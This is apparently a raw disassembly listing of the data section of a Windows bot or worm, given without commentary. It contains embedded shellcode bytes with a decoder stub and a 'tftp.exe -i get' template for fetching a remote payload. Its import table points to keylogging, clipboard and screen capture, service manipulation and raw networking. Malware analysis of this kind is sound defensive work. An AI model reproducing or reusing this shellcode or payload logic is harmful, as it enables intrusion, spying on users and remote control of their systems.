word_438276	dw 0FFFFh		; DATA XREF: sub_414CD9+C6w
		db 80h,	73h, 0Eh
byte_43827B	db 0FFh			; DATA XREF: sub_414CD9+CDw
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_438280:				; DATA XREF: sub_414CD9+9Co
		jmp	short loc_438284
; ---------------------------------------------------------------------------


loc_438282:				; CODE XREF: .text:loc_438284p
		jmp	short loc_438289
; ---------------------------------------------------------------------------


loc_438284:				; CODE XREF: .text:loc_438280j
		call	loc_438282


loc_438289:				; CODE XREF: .text:loc_438282j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_43828D	db 0FFh			; DATA XREF: sub_414CD9+A4w
		dw 7380h
		db 0Ch
byte_438291	db 0FFh			; DATA XREF: sub_414CD9+AAw
		dw 0E243h
		dd 0F9h
dword_438298	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_414B62+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_4382FC	dd 12h		aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_414B62+79o
aJ_0		db 'j',0
		db 0E8h
dword_438315	dd 17h		; ---------------------------------------------------------------------------
		jnz	short near ptr byte_43831C
		retn
; ---------------------------------------------------------------------------
byte_43831C	db 0E8h			; CODE XREF: .text:00438319j
dword_43831D	dd 1		byte_438321	db 0, 6Ah, 0		; DATA XREF: sub_414B62+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_43832B	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
aThreadList	db '-[Thread List]-',0  ; DATA XREF: sub_414E97+10o
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_415062+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_415062+35o
dword_4383AC	dd 29E2C0h	dword_4383B0	dd 173Fh			dd 9875h, 9873h
off_4383BC	dd offset sub_415DD3	; DATA XREF: sub_41781Ar
		dd offset nullsub_2
		dd offset nullsub_2
dword_4383C8	dd 1B3Fh	dword_4383CC	dd 19930520h, 417C03h, 0FFFFFFFFh, 12FFC0h, 0					; sub_4162D6+2o
off_4383E0	dd offset sub_417858	; DATA XREF: sub_417C0E+1Cr
dword_4383E4	dd 2							; sub_41D7B5+46r ...
off_4383E8	dd offset aNull_0	; DATA XREF: sub_417D6C:loc_4180D0r
					; sub_417D6C+457r
					; "(null)"
off_4383EC	dd offset aNull		; DATA XREF: sub_417D6C+259r
					; "(null)"
off_4383F0	dd offset word_4383FA	; DATA XREF: sub_4157F4+23r
					; sub_4157F4:loc_415855r ...
		dd offset word_4383FA
		db 2 dup(0)
word_4383FA	dw 20h			; DATA XREF: sub_41EF5D+18r
					; .text:off_4383F0o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_4385FC	dd 1							; sub_4157F4:loc_415840r ...
byte_438600	db 2Eh			; DATA XREF: sub_41A7A3:loc_41A7E3r
					; sub_41A7FD+4r ...
		align 4
		dd 1, 10h, 0
off_438610	dd offset off_438610	; DATA XREF: sub_4197BC+Do
					; sub_4197BC+69o ...
off_438614	dd offset off_438610	; DATA XREF: sub_4197BC:loc_41983Cr
					; sub_4197BC+89w ...
		dd offset dword_438628
		dd offset dword_438628
dword_438620	dd 0FFFFFFFFh						; sub_419900:loc_41994Dw
		dd 0FFFFFFFFh
dword_438628	dd 0F0h, 0F1h, 800h dup(0)					; .text:0043861Co
off_43A630	dd offset off_438610	; DATA XREF: sub_419900+15r
					; sub_419900+20w ...
dword_43A634	dd 1E0h							; sub_41737F+185r ...
dword_43A638	dd 14h		off_43A63C	dd offset aExp		; DATA XREF: sub_41A4EC:loc_41A509r
					; "exp"
		dd 1Dh,	4217D4h, 1Ah, 4217D0h, 1Bh, 4217C8h, 1Fh, 4217C0h
		dd 13h,	4217B8h, 21h, 4217B0h, 0Eh, 4217A8h, 0Dh, 4217A0h
		dd 0Fh,	421798h, 10h, 421790h, 5, 421788h, 1Eh,	421784h
		dd 12h,	421780h, 20h, 42177Ch, 0Ch, 421774h, 0Bh, 42176Ch
		dd 15h,	421764h, 1Ch, 42175Ch, 19h, 421754h, 11h, 42174Ch
		dd 18h,	421744h, 16h, 42173Ch, 17h, 421734h, 22h, 421730h
		dd 23h,	42172Ch, 24h, 421728h
dbl_43A710	dq 1.797693134862316e308 ; DATA	XREF: sub_41A227+B7r
					; sub_41A227:loc_41A30Er ...
		dd 0
		dd 0FFF80000h
dbl_43A720	dq 1.797693134862316e308 ; DATA	XREF: sub_41A227+92r
					; sub_41A227:loc_41A2E6r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43A738	dt 2.3562723457267347066e313 ; DATA XREF: sub_41A6D4+Dr
					; sub_41A6D4+1Fr
		align 4
tbyte_43A744	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41A6D4+31r
		align 10h
off_43A750	dd offset sub_41AB68	; DATA XREF: sub_415DEB+Fw
					; sub_417D6C+3AAr
off_43A754	dd offset sub_41A7FD	; DATA XREF: sub_415DEB+5w
					; sub_417D6C+3E2r
off_43A758	dd offset sub_41A863	; DATA XREF: sub_415DEB+14w
					; sub_41B605+430r
off_43A75C	dd offset sub_41A7A3	; DATA XREF: sub_415DEB+1Ew
					; sub_417D6C+3CBr
off_43A760	dd offset sub_41A84B	; DATA XREF: sub_415DEB+28w
off_43A764	dd offset sub_41AB68	; DATA XREF: sub_415DEB+32w
		dd offset sub_41E79E
		align 10h
		dd offset sub_41B42C
off_43A774	dd offset sub_41B42C	; DATA XREF: sub_41B482+29r
dword_43A778	dd 0D2D0920h, 5Dhdword_43A780	dd 5Dh,	0	byte_43A788	db 1			; DATA XREF: sub_41C85D+E1r
		db 2, 4, 8
		align 10h
dword_43A790	dd 3A4h		dword_43A794	dd 82798260h, 21h, 0dword_43A7A0	dd 0DFA6h			align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43A880	dd 1							; sub_41CE74+Co
dword_43A884	dd 16h				dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43A9E8	dd 0C0000005h						; sub_41D01C+Ar ...
dword_43A9EC	dd 0Bh				dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43AA60	dd 3							; sub_41FB6B+C8r
dword_43AA64	dd 7							; sub_41FB6B+CDr
dword_43AA68	dd 0Ah							; sub_41FC98+4r
dword_43AA6C	dd 8Ch							; sub_41CEDB+8Fw ...
dword_43AA70	dd 0FFFFFFFFh, 0A00h					; sub_41C178:loc_41C1F9o
dword_43AA78	dd 2							; sub_41D7B5+28r
off_43AA7C	dd offset aR6002FloatingP ; DATA XREF: sub_41D7B5+FCr
					; sub_41D7B5+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 421AF4h, 9, 421AC8h, 0Ah,	421AA4h, 10h, 421A78h
		dd 11h,	421A48h, 12h, 421A24h, 13h, 4219F8h, 18h, 4219C0h
		dd 19h,	421998h, 1Ah, 421960h, 1Bh, 421928h, 1Ch, 421900h
		dd 78h,	4218F0h, 79h, 4218E0h, 7Ah, 4218D0h, 0FCh, 426A30h
		dd 0FFh, 4218C0h
off_43AB08	dd offset dword_46BE00	; DATA XREF: sub_41D7B5+1Bo
					; sub_41D972+55o
		dd 0
		dd offset dword_46BE00
		dd 101h
dword_43AB18	dd 0FFFFFFFFh, 0		dd 1000h, 0
dword_43AB28	dd 3 dup(0)						; sub_4187D6+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43AB48	dd 3 dup(0)						; sub_4187D6:loc_4187F4o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43AB78	dd 84h dup(0)	dword_43AD88	dd 2694h						; sub_419EDC+46r ...
		align 10h
dword_43AD90	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_43ADA8	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fhdword_43ADC0	dd 7080h						; sub_41EA02+5Ew ...
dword_43ADC4	dd 1							; sub_41EA02+8Bw ...
dword_43ADC8	dd 0FFFFF1F0h						; sub_41EA02+94w ...
dword_43ADCC	dd 545350h, 0Fh	dup(0)dword_43AE0C	dd 544450h, 0Fh	dup(0)off_43AE4C	dd offset dword_43ADCC	; DATA XREF: sub_41EA02+BAr
					; sub_41EA02+D9r ...
off_43AE50	dd offset dword_43AE0C	; DATA XREF: sub_41EA02+F4r
					; sub_41EA02+11Br ...
		align 8
dword_43AE58	dd 0FFFFFFFFh						; sub_41EC60+1Er ...
dword_43AE5C	dd 0							; sub_41EE0C+BFw
dword_43AE60	dd 0							; sub_41EE0C+E0w
		align 8
dword_43AE68	dd 0FFFFFFFFh						; sub_41EC60+26r ...
dword_43AE6C	dd 0							; sub_41EE0C+EAw ...
dword_43AE70	dd 0							; sub_41EE0C+23r ...
dword_43AE74	dd 0FFFFFFFFh			dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43AEA4	dd 16Dh							; sub_41EE0C+2Er ...
dword_43AEA8	dd 0FFFFFFFFh			dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43AEE0	dd 2 dup(0)			dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43B040	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_41FFF0+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
off_43B1A0	dd offset off_421CE8	; DATA XREF: .text:off_421D10o
					; .text:00421E3Co ...
		align 8
a_?avexception@	db '.?AVexception@@',0
off_43B1B8	dd offset off_421CE8	; DATA XREF: .text:off_421D28o
					; .text:00421DBCo ...
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43B1D8	dd offset off_421CE8	; DATA XREF: .text:off_421D40o
					; .text:00421D84o ...
		align 10h
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
off_43B1F8	dd offset off_421CE8	; DATA XREF: .text:off_421DC8o
					; .text:00421E0Co ...
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43B218	dd offset off_421CE8	; DATA XREF: .text:off_421E48o
					; .text:00421E84o
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_41E79E
		align 8
byte_43B238	db 0			; DATA XREF: sub_401444+1C1w
					; sub_401444+2C0o
		align 2
word_43B23A	dw 0			; DATA XREF: sub_401444+1D1w
word_43B23C	dw 0			; DATA XREF: sub_401444+1D7w
word_43B23E	dw 0			; DATA XREF: sub_401444+1DEw
byte_43B240	db 0			; DATA XREF: sub_401444+1E5w
byte_43B241	db 0			; DATA XREF: sub_401444+1ECw
word_43B242	dw 0			; DATA XREF: sub_401444+1F2w
dword_43B244	dd 0							; sub_401444+23Ew
dword_43B248	dd 0		byte_43B24C	db 0			; DATA XREF: sub_401444+258w
byte_43B24D	db 0			; DATA XREF: sub_401444+26Bw
word_43B24E	dw 0			; DATA XREF: sub_401444+283w
word_43B250	dw 0			; DATA XREF: sub_401444+292w
word_43B252	dw 0			; DATA XREF: sub_401444+28Aw
dword_43B254	dd 100h	dup(0)	dword_43B654	dd 0		byte_43B658	db 0			; DATA XREF: sub_402FCD+36r
					; sub_4030B0+37r ...
		align 4
dword_43B65C	dd 0							; sub_4036D2+30r ...
dword_43B660	dd 2 dup(0)	dword_43B668	dd 0							; sub_40CD3A+5B16o ...
dword_43B66C	dd 0							; sub_40597F+51r ...
dword_43B670	dd 0							; .text:0040491Br ...
		align 8
dword_43B678	dd 0							; sub_407592+92w ...
dword_43B67C	dd 0							; sub_4078DF+D9w ...
		dd 256h	dup(0)
dword_43BFD8	dd 6 dup(0)						; sub_4076CB+129o ...
dword_43BFF0	dd 0							; sub_4071B6+FFo
dword_43BFF4	dd 41h dup(0)	dword_43C0F8	dd 41h dup(0)	dword_43C1FC	dd 0							; sub_4071B6+111r
dword_43C200	dd 0		dword_43C204	dd 0							; sub_4071B6+D2r
dword_43C208	dd 20h dup(0)						; sub_4071B6+B7o
dword_43C288	dd 0		dword_43C28C	dd 0							; sub_4071B6+C1w
dword_43C290	dd 0				align 8
dword_43C298	dd 0							; sub_4071B6+32Eo
dword_43C29C	dd 0A2h	dup(0)	dword_43C524	dd 41h dup(0)	dword_43C628	dd 0							; sub_4071B6+2E1r
		align 10h
dword_43C630	dd 0							; sub_4071B6+340r
dword_43C634	dd 0		dword_43C638	dd 0		dword_43C63C	dd 0				dd 0
dword_43C644	dd 0		dword_43C648	dd 0							; sub_4071B6+222o
dword_43C64C	dd 41h dup(0)	dword_43C750	dd 41h dup(0)	dword_43C854	dd 0							; sub_4071B6+234r
dword_43C858	dd 0		dword_43C85C	dd 0		dword_43C860	dd 20h dup(0)						; sub_4071B6+1DAo
dword_43C8E0	dd 0		dword_43C8E4	dd 0							; sub_4071B6+1E4w
dword_43C8E8	dd 0		dword_43C8EC	dd 0		; resolved to->GDI32.DeleteDC					; sub_40891C+4CDr
dword_43C8F0	dd 0		; resolved to->KERNEL32.Module32First					; sub_413C50+EEr
dword_43C8F4	dd 0		; resolved to->WININET.InternetGetConnectedStateExA					; sub_40891C+862r ...
dword_43C8F8	dd 0							; sub_40891C+A18r ...
dword_43C8FC	dd 0							; sub_40891C+9E8r ...
dword_43C900	dd 0		; resolved to->GDI32.SelectObject					; sub_40891C+4BDr
dword_43C904	dd 0		; resolved to->USER32.GetKeyState					; sub_4021FB+108r ...
dword_43C908	dd 0							; sub_40891C+A10r ...
dword_43C90C	dd 0		; resolved to->ADVAPI32.OpenServiceA					; sub_40891C+3A9r ...
dword_43C910	dd 0		; resolved to->ADVAPI32.GetUserNameA					; sub_40A9D8+11Er
dword_43C914	dd 0		; resolved to->ADVAPI32.StartServiceA					; sub_40891C+3B1r ...
dword_43C918	dd 0		; resolved to->ADVAPI32.IsValidSecurityDescriptor					; sub_413248+ADr
dword_43C91C	dd 0		; resolved to->WS2_32.__WSAFDIsSet					; sub_40840A+76r ...
dword_43C920	dd 0		; resolved to->KERNEL32.GetDiskFreeSpaceExA					; sub_40891C+D2r ...
dword_43C924	dd 0							; sub_40891C+9DBr ...
dword_43C928	dd 0		; resolved to->ADVAPI32.CloseServiceHandle					; sub_40891C+3C9r ...
dword_43C92C	dd 0		; resolved to->WININET.InternetCrackUrlA					; sub_40891C+88Er ...
dword_43C930	dd 0		; resolved to->ADVAPI32.RegQueryValueExA					; sub_40891C+2A5w ...
dword_43C934	dd 0		; resolved to->WININET.InternetOpenUrlA					; sub_40891C+886r ...
dword_43C938	dd 0		; resolved to->KERNEL32.QueryPerformanceFrequencydword_43C93C	dd 0		; resolved to->WININET.InternetReadFile					; sub_40891C+896r ...
dword_43C940	dd 0		; resolved to->WS2_32.WSAAsyncSelect					; sub_40891C+52Fw ...
dword_43C944	dd 0		; resolved to->KERNEL32.Process32Next					; sub_40891C+CAr ...
dword_43C948	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_40A133+11Ar
dword_43C94C	dd 0		; resolved to->DNSAPI.DnsFlushResolverCache					; sub_40891C+A6Dr ...
dword_43C950	dd 0		; resolved to->KERNEL32.QueryPerformanceCounter					; sub_40891C+F2r
dword_43C954	dd 0		; resolved to->GDI32.GetDIBColorTable					; sub_40891C+4B5r
dword_43C958	dd 0		; resolved to->WS2_32.ntohl					; sub_40891C+5D8w ...
dword_43C95C	dd 0							; sub_40891C+A08r
dword_43C960	dd 0		; resolved to->WS2_32.ntohs					; sub_40891C+5CBw ...
dword_43C964	dd 0							; sub_40891C+B21w
dword_43C968	dd 0		; resolved to->WININET.InternetGetConnectedState					; sub_40891C+84Fr ...
dword_43C96C	dd 0		; resolved to->USER32.ExitWindowsEx					; sub_409D12+15r
dword_43C970	dd 0							; sub_40891C+9F0r ...
dword_43C974	dd 0		; resolved to->ADVAPI32.ControlService					; sub_40891C+3B9r ...
dword_43C978	dd 0		; resolved to->ADVAPI32.DeleteService					; sub_40891C+3C1r ...
dword_43C97C	dd 0							; sub_40891C+C5Dr
dword_43C980	dd 0		; resolved to->WS2_32.getpeernamedword_43C984	dd 0		; resolved to->WS2_32.WSACleanup					; sub_4018CB:loc_401B47r ...
dword_43C988	dd 0		; resolved to->GDI32.DeleteObjectdword_43C98C	dd 0							; sub_40891C+A20r ...
dword_43C990	dd 0		; resolved to->ADVAPI32.RegDeleteValueA					; sub_40891C+2DEr ...
dword_43C994	dd 0		; resolved to->KERNEL32.GetLogicalDriveStringsA					; sub_40891C+DAr ...
dword_43C998	dd 0		; resolved to->SHELL32.ShellExecuteA					; sub_40891C+B75r ...
dword_43C99C	dd 0		; resolved to->WS2_32.WSAStartup					; sub_4018CB+2Fr ...
dword_43C9A0	dd 0		; resolved to->WININET.HttpSendRequestA					; sub_40891C+872r ...
dword_43C9A4	dd 0							; sub_40891C+9F8r
dword_43C9A8	dd 0							; sub_404EC7+6Er ...
dword_43C9AC	dd 0		; resolved to->USER32.GetForegroundWindow					; sub_4021FB+63r ...
dword_43C9B0	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_40891C+910r ...
dword_43C9B4	dd 0		dword_43C9B8	dd 0		; resolved to->WS2_32.WSAGetLastError					; sub_401444+3Cr ...
dword_43C9BC	dd 0		; resolved to->WININET.InternetOpenA					; sub_40891C+855r
dword_43C9C0	dd 0		; resolved to->USER32.GetWindowTextA					; sub_4021FB+78r ...
dword_43C9C4	dd 0		; resolved to->USER32.IsWindow					; sub_40891C+1C2r
dword_43C9C8	dd 0		; resolved to->WS2_32.getsockname					; sub_40891C+786r ...
dword_43C9CC	dd 0		; resolved to->WS2_32.connect					; sub_4036D2+5Er ...
dword_43C9D0	dd 0		; resolved to->WS2_32.WSAIoctl					; sub_40891C+549w ...
dword_43C9D4	dd 0							; sub_40891C:loc_4091F7w ...
dword_43C9D8	dd 0		; resolved to->ADVAPI32.RegCreateKeyExA					; sub_40891C+2C6r ...
dword_43C9DC	dd 0		; resolved to->WS2_32.gethostbyaddr					; sub_40891C+681w ...
dword_43C9E0	dd 0		; resolved to->ADVAPI32.LookupPrivilegeValueA					; sub_40891C+323r ...
dword_43C9E4	dd 0		; resolved to->ADVAPI32.EnumServicesStatusA					; sub_40891C+3D1r ...
dword_43C9E8	dd 0							; sub_404EC7+1A0r ...
dword_43C9EC	dd 0		; resolved to->WININET.HttpOpenRequestA					; sub_40891C+86Ar ...
dword_43C9F0	dd 0		; resolved to->USER32.GetAsyncKeyState					; sub_40891C+206w ...
dword_43C9F4	dd 0		; resolved to->USER32.OpenClipboard					; sub_40891C+1D2r ...
dword_43C9F8	dd 0		; resolved to->WININET.InternetConnectA					; sub_40891C+87Ar ...
dword_43C9FC	dd 0		; resolved to->WSOCK32.recvfrom					; sub_40891C+606w ...
dword_43CA00	dd 0		; resolved to->ADVAPI32.RegCloseKey					; sub_40891C+2BFw ...
dword_43CA04	dd 0		; resolved to->WSOCK32.setsockopt					; sub_401444+AAr ...
dword_43CA08	dd 0		; resolved to->ADVAPI32.OpenProcessToken					; sub_40891C+316r ...
dword_43CA0C	dd 0		; resolved to->WS2_32.select					; sub_406B84+1FCr ...
dword_43CA10	dd 0		; resolved to->GDI32.CreateDCA					; sub_40891C+490r
dword_43CA14	dd 0		; resolved to->USER32.GetClipboardData					; sub_40891C+1DAr ...
dword_43CA18	dd 0		; resolved to->ADVAPI32.OpenSCManagerA					; sub_40891C+39Cr ...
dword_43CA1C	dd 0		; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_43CA20	dd 0		; resolved to->WS2_32.ntohl					; sub_4010B2+1F9r ...
dword_43CA24	dd 0		; resolved to->WS2_32.ntohs					; sub_4010B2+9Dr ...
dword_43CA28	dd 0		; resolved to->KERNEL32.Process32First					; sub_40891C+C2r ...
dword_43CA2C	dd 0		; resolved to->GDI32.GetDeviceCaps					; sub_40891C+4ADr
dword_43CA30	dd 0		; resolved to->USER32.FindWindowA					; sub_40891C+1BAr ...
dword_43CA34	dd 0							; sub_413B27+72r
dword_43CA38	dd 0		; resolved to->WS2_32.gethostname					; sub_40891C+78Er
dword_43CA3C	dd 0		; resolved to->WSOCK32.recv					; sub_4033B6+23Br ...
dword_43CA40	dd 0							; sub_404EC7+21Dr ...
dword_43CA44	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_40891C+BAr ...
dword_43CA48	dd 0		; resolved to->ADVAPI32.RegSetValueExA					; sub_40891C+2CEr ...
dword_43CA4C	dd 0		; resolved to->WS2_32.listen					; sub_407B36+9Cr ...
dword_43CA50	dd 0		; resolved to->WS2_32.bind					; sub_405A96+89r ...
dword_43CA54	dd 0		dword_43CA58	dd 0		; resolved to->WININET.InternetCloseHandle					; sub_40AD52+209r ...
dword_43CA5C	dd 0		dword_43CA60	dd 0							; sub_40891C+BB8w ...
dword_43CA64	dd 0		; resolved to->WS2_32.inet_addr					; sub_401444+1A0r ...
dword_43CA68	dd 0		; resolved to->GDI32.CreateDIBSection					; sub_40891C+49Dr
dword_43CA6C	dd 0		; resolved to->GDI32.BitBlt					; sub_40891C+4C5r
dword_43CA70	dd 0		; resolved to->GDI32.CreateCompatibleDC					; sub_40891C+4A5r
dword_43CA74	dd 0		; resolved to->WS2_32.send					; sub_4033B6+249r ...
dword_43CA78	dd 0		; resolved to->USER32.CloseClipboard					; sub_40891C+1E2r ...
dword_43CA7C	dd 0							; sub_40891C+A28r ...
dword_43CA80	dd 0		; resolved to->USER32.SendMessageA					; sub_40891C+1ADr ...
dword_43CA84	dd 0		; resolved to->KERNEL32.GetDriveTypeA					; sub_40891C+E2r ...
dword_43CA88	dd 0		; resolved to->WS2_32.sendto					; sub_401444+2C8r ...
dword_43CA8C	dd 0							; sub_40891C+B30r
dword_43CA90	dd 0		; resolved to->ADVAPI32.AdjustTokenPrivileges					; sub_413BE5+55r
dword_43CA94	dd 0		; resolved to->ADVAPI32.RegOpenKeyExA					; sub_40891C+27Ew ...
dword_43CA98	dd 0		; resolved to->SHELL32.SHChangeNotifydword_43CA9C	dd 0		; resolved to->IPHLPAPI.DeleteIpNetEntry					; sub_409FB2+8Fr
dword_43CAA0	dd 0		; resolved to->IPHLPAPI.GetIpNetTable					; sub_40891C+AB7r ...
dword_43CAA4	dd 0		; resolved to->WS2_32.socket					; sub_401BD4+55r ...
dword_43CAA8	dd 0		; resolved to->WS2_32.gethostbyname					; sub_40891C+674w ...
dword_43CAAC	dd 0							; sub_40891C+BC5w ...
dword_43CAB0	dd 0		; resolved to->WS2_32.inet_ntoa					; sub_406B84+250r ...
dword_43CAB4	dd 0							; sub_40891C+A00r ...
dword_43CAB8	dd 0		; resolved to->WS2_32.accept					; sub_407B36+B3r ...
dword_43CABC	dd 0		; resolved to->WS2_32.closesocket					; sub_401444+2F4r ...
dword_43CAC0	dd 0		; resolved to->WS2_32.ioctlsocket					; sub_405A96+376r ...
dword_43CAC4	dd 0							; sub_402FCD+C8r ...
dword_43CAC8	dd 0		; resolved to->WS2_32.WSASocketA					; sub_4018CB+4Fr ...
dword_43CACC	dd 0							; sub_40891C+B1Br
dword_43CAD0	dd 0		; resolved to->KERNEL32.SetErrorMode					; sub_40891C+ADr ...
dword_43CAD4	dd 0		; resolved to->USER32.DestroyWindow					; sub_40891C+1CAr
dword_43CAD8	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_40891C+91Dr ...
dword_43CADC	dd 0		; resolved to->KERNEL32.SearchPathA					; sub_40891C+EAr ...
dword_43CAE0	dd 0							; sub_40891C+12Bw ...
dword_43CAE4	dd 0							; sub_4095A9+1Cr
dword_43CAE8	dd 0							; sub_40891C:loc_408B71w ...
dword_43CAEC	dd 0							; sub_4095A9+50r
